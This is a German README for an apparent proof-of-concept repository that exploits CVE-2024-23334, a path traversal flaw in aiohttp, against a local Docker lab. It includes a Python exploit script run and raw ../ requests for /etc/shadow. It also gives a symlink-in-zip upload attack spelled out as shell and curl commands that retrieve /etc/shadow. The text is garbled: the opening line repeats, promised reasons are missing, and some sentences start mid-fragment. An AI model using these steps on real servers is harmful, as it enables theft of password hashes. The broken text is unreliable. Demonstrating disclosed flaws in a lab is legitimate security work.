
Dieses Repository enthält einen Proof-of-Concept zur Ausnutzung der aiohttp-Bibliothek für die gemeldete Sicherheitslücke CVE-2024-23334.
Dieses Repository enthält einen Proof of Concept zur Ausnutzung der aiohttp-Bibliothek für die gemeldete Sicherheitslücke CVE-2024-23334.
Dies wurde aus zwei Gründen erstellt:
Weitere Informationen finden Sie auf meiner Website: https://brianre.dev/
make build
make run
Wenn Sie Docker im abgetrennten Modus ausführen möchten, führen Sie einfach aus:
make rund
python3 exploits/exploit_path_traversal.py
Durch Ausführen des Skripts führen wir eine RAW-HTTP-Anfrage an den Server durch. Wir tun dies und nicht durch Verwendung von curl oder direkten Zugriff im Browser, da diese Tools die URLs vor dem Senden der HTTP-Anfrage bereinigen und normalisieren. Dies beinhaltet die Pfadnormalisierung: Werkzeuge wie curl und Browser verarbeiten den URL-Pfad und entfernen Sequenzen wie .., die für das Directory Traversal verwendet werden. Daher wird ein Pfad wie /static/../../../../../../../../../../../../etc/shadow zu /etc/shadow normalisiert, und da ein solcher Pfad normalerweise nicht als Ressource auf einem Standardwebserver existiert, führt dies zu einem 404-Fehler.
/etc/shadow erstellt. Dieses Szenario ist das unwahrscheinlichste, aber vielleicht kann jemand intern aus dem Unternehmen damit Informationen preisgeben und die Leute überprüfen möglicherweise nicht die statischen Logs. Und falls der Zugriff auf statische Dateien nicht protokolliert wird, ist es sehr schwierig zu erkennen, wann sie durchgesickert sind.Das in diesem Repository erstellte Szenario diente nur zur Erklärung der Sicherheitslücke und zum Nachweis, dass sie existiert und noch ausnutzbar ist.
/etc/shadow abzurufen.Die Methode, dies durchzuführen, ist die Verwendung einer komprimierten Datei, so dass wir den Symlink hochladen können und, wenn sie auf dem Server entpackt wird, dieser denselben Symlink erzeugt. Das direkte Hochladen eines Symlinks über curl als Datei link.jpeg wird nur die lokale Datei lesen, auf die der Symlink verweist, und stattdessen die Originaldatei hochladen. Wenn wir also einen bestimmten Pfad des Server-Dateisystems anvisieren möchten, sollten wir in der Lage sein, eine komprimierte Datei wie .zip oder .tar.gz hochzuladen.
Um dieses zweite Szenario zu reproduzieren, müssen Sie folgende Schritte ausführen:
touch /etc/shadow # It creates a file on your machine on the specified directory. Be sure that you don't replace an existing file.
ln -s /etc/shadow exploit.jpeg # Creates a symlink with the /etc/shadow file and name it exploit.jpeg
zip -y images.zip exploit.jpeg # Zip the symlink
curl -X POST -F "[email protected]" http://localhost:8080/upload # Upload the zip file
curl -o shadow.txt http://localhost:8080/static/exploit.jpeg # Access the symlink and, because aiohttp has the vulnerability, it returns the /etc/shadow from the server.
TODO
Um das Projekt lokal für die Entwicklung einzurichten, müssen Sie:
python3 -m venv env
pip3 install -r requirements.txt
pip3 install -r test-requirements.txt